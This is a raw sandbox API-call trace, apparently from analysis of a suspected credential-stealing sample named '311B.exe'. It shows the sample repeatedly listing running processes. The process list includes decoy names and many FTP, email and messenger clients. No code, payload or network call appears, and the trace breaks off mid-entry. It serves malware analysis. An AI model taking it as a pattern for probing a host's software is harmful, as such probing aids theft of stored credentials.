[0230.477] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.479] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.481] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0230.483] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0230.485] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0230.651] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0230.653] CloseHandle (hObject=0x15a4) returned 1 [0230.653] Sleep (dwMilliseconds=0x64) [0230.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15a4 [0230.782] Process32First (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.783] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.785] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.786] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.787] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.789] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.790] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.792] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.794] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.795] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.796] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.798] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.799] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.881] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.883] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.885] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.887] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.888] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.890] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.891] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.893] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.894] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.896] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.898] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.900] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.903] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.904] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.906] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.907] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0230.909] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0230.910] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.912] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0230.913] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0230.915] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0231.012] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0231.014] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0231.015] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0231.017] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0231.018] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0231.020] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0231.022] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0231.026] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0231.028] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0231.029] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0231.031] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0231.032] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0231.034] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0231.036] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0231.037] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0231.039] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0231.040] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0231.042] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0231.043] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0231.045] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0231.046] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0231.048] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0231.049] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0231.115] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0231.117] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0231.120] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0231.122] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0231.123] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0231.125] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0231.127] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0231.129] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0231.131] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0231.133] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0231.136] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0231.138] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0231.140] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0231.141] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0231.274] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0231.276] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0231.278] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0231.280] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0231.282] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0231.381] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0231.383] Process32Next (in: hSnapshot=0x15a4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, 